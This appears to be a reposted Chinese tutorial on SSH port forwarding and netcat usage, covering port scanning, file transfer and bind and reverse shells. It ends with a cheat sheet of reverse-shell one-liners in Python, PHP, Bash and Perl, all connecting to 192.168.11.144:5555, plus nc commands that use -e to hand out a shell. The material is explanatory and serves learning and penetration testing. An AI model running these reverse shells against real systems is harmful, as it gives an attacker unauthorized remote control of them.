端口转发正反向链接 NC 和 SSH下的用法

摘要:
SSH端口转发:启用SSH端口转发时需要修改/etc/SSH/sshd _ Config配置文件,将GatewayPorts更改为yes f在后台执行ssh指令-C允许数据压缩-N不执行远程指令-R将远程主机(服务器)的端口转发到本地计算机的指定端口-L转发本地端口-D转发动态端口转发代理ssh fCNL*:1234:localhost:88888localhost反转ssh fCNR45.13

SSH 端口转发:

SSH开启端口转发需要修改 /etc/ssh/sshd_config配置文件,将 GatewayPorts修改为yes

-f 后台执行ssh指令
-C 允许压缩数据
-N 不执行远程指令
-R 将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口
-L 本地端口转发
-D 动态端口转发

正向代理
ssh -fCNL *:1234:localhost:8888 localhost

反向代理
ssh -fCNR 45.134.xxx.xxx:8822:localhost:3306 root@45.134.xxx.xxx #本地的3306端口转发到指定的45.134.xxx.xxx的IP上,值得注意的是,转发过去之后,只能45.134.xxx.xxx去连接,另外一台机子不能通过访问45.135.xxx.xxx连接来访问,想要实现这个效果的话需要在45.134.xxx.xxx开正向端口转发

好多情况下做运维的时候,直接通过ssh转发把做了白名单才允许访问的端口通过这种方式本体转发切换

nc.exe -h
//即可看到各参数的使用方法。基本格式:
nc [-options] hostname port[s] [ports] ...nc -l -p port [options] [hostname] [port]
参数	作用
-d	后台模式
-e prog	程序重定向,一旦连接就执行
-g<网关>	设置路由器跃程通信网关,最多可设置8个
-G<指向器数目>	设置来源路由指向器,其数值为4的倍数
-h	帮助信息
-i<延迟秒数>	设置时间间隔,以便传送信息及扫描通信端口
-l	监听模式,用于入站连接,管控传入的数据
-L	连接关闭后,仍然继续监听
-n	直接使用IP地址,而不通过域名服务器
-o<输出文件>	指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存
-p<通信端口>	设置本地主机使用的通信端口
-r	随机指定本地与远端主机的通信端口
-s <来源地址>	设置本地主机送出数据包的IP地址
-t	使用TELNET交互方式
-u	UDP模式
-v	显示指令执行过程
-w <超时秒数>	设置等待连接的时间
-z	将输入输出关掉,只在扫描通信端口时使用
端口的表示方法可写为 M-N 的范围格式。
Windows下:

正向连接

服务器执行:nc -l -p 8888 -e cmd.exe

本地主机执行:nc -vv 服务器ip 8888

反向连接

服务器执行:nc -e cmd.exe 公网ip 8888

公网主机执行:nc -lvp 8888

几种使用方法:

连接到远程主机命令:

nc -nvv Targert_IP Targert_Port
监听本地主机命令:

nc -l -p Local_Port
端口扫描

扫描指定主机的单一端口是否开放命令:

nc -v target_IP target_Port
扫描指定主机的某个端口段的端口开放信息命令:

nc -v -z Target_IP Target_Port_Start - Target_Port_End
扫描指定主机的某个UDP端口段,并且返回端口信息命令:

nc -v -z -u Target_IP Target_Port_Start - Target_Port_End
扫描指定主机的端口段信息,并且设置超时时间为3秒命令:

nc -vv(-v) -z -w time Target_IP Target_Port_Start-Targert_Port_End
端口监听

监听本地端口命令:

nc -l -p local_Port
注:先设置监听(不能出现端口冲突),之后如果有外来访问则输出该详细信息到命令行
监听本地端口,并且将监听到的信息保存到指定的文件中命令:

nc -l -p local_Port > target_File
连接远程系统命令:

nc Target_IP Target_Port
//之后可以运行HTTP请求
FTP匿名探测命令:

nc Targert_IP 21
文件传输

传输端命令:

nc Targert_IP Targert_Port < Targert_File
接收端命令:

nc -l Local_Port > Targert_File
通信

本地主机命令:

nc -l 8888
远程主机命令:

nc Targert_IP Targert_Port
获取shell

获取shell分为两种,一种是正向shell,一种是方向shell。

如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell

正向shell

本地主机命令:

nc Targert_IP Targert_Port
目标主机命令:

nc -lvp Targert_Port -e /bin/sh
反向shell

本地主机命令:

nc -lvp Target_Port
目标主机命令:

nc Targert_IP Targert_Port -e /bin/sh
特殊场景

在一般情况下,目标主机上一般都是不会有Netcat的,此时就需要使用其他替代的方法来实现反向连接达到攻击主机的目的,下面介绍几种反向shell的设置。

python反向shell

本地主机:

nc -lvp 5555
目标主机端执行语句:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.144",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP反向shell

本地主机:

nc -lvp 5555
目标主机端执行语句:

php -r '$sock=fsockopen("192.168.11.144",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
Bash反向shell

本地主机:

nc -lvp 5555
目标主机端执行语句:

bash -i>&/dev/tcp/192.168.11.144/5555 0>&1
Perl反向shell

本地主机:

nc -lvp 5555
目标主机端执行语句:

perl -e 'use Socket;$i="192.168.11.144";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
[video]

  

免责声明:文章转载自《端口转发正反向链接 NC 和 SSH下的用法》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Verdi -- 快捷键记录powerdesigner Oracle.sql转mysql.sql下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

解决mysql中只能通过localhost访问不能通过ip访问的问题

Mysql 默认是没有开启这个权限的(只允许使用 host:localhost,或者 host:127.0.0.1),如果想用 host:192.168.1.* ,来访问mysql ,需要手动开启这个权限进入Mysql终端输入这个命令 1.打开cmd窗口,进入MySql安装的bin目录 2.执行命令登录数据库,之后会出现一行要你输入密码的 mysql -...

Ambari2.7.4+HDP3.1.4在centos7.6部署

一.下载安装包 使用在线安装特别慢,所有的安装包加起来有9个G左右,所以需要先下载相关安装包到服务器,通过配置本地源的方式来实现的离线安装。 在私有集群中部署时,客户机房的网络情况不可预测,因此也需要使用离线部署的方式。 根据官方文档 https://docs.cloudera.com/HDPDocuments/Ambari-2.7.4.0/bk_am...

任务调度QuartzDesk(Lite Edition)安装部署和使用小结

QuartzDesk 是一个 Java Quartz 调度器管理和监控的图形化工具,提供很多强大和专门的特性。旨在为使用 Quartz 的 Java 开发者提供查询和监控的功能。 一、环境要求 Oracle Java (JDK) 6, 7, 8 apache-Tomcat 6.x or 7.x mysql5.6+   二、安装部署QuartzDesk 1...

mysql 权限控制笔记

MySQL存取控制包含2个阶段: 阶段1:服务器检查是否允许你连接。 阶段2:假定你能连接,服务器检查你发出的每个请求。看你是否有足够的权限实施它。例如,如果你从数据库表中选择(select)行或从数据库删除表,服务器确定你对表有SELECT权限或对数据库有DROP权限。 参考 : 5.8. MySQL用户账户管理1.权限查看 mysql>sh...

Jenkins 九: 小技巧

1.  问题: jenkins的项目默认存放在 JENKINS_HOME下面的 workspace路径下,导致每次找项目都很不方便。 解决思路:更改jenkins的项目存放地址。 解决方法: 1) 将现有的 workspace拷贝到方便看到的地址,比如说“E:”,并改文件夹名字为“workspace_jenkins”,这样对应的地址就是“E:workspa...

JRebel激活服务搭建

前言 因为平时的开发工具是使用IntelliJ IDEA,所以热部署项目代码的时候,使用的Jrebel。因为Jrebel是收费的,所以以前用的时候都是在网上找破解方法(国人通用做法),在网上找到的办法是输入一个在线激活服务,来进行激活。由于简单方便就一直这样用的,今天早上打开IDEA后发现,Jrebel激活失效了。后来才发现原来之前的在网上找的在线激活服务...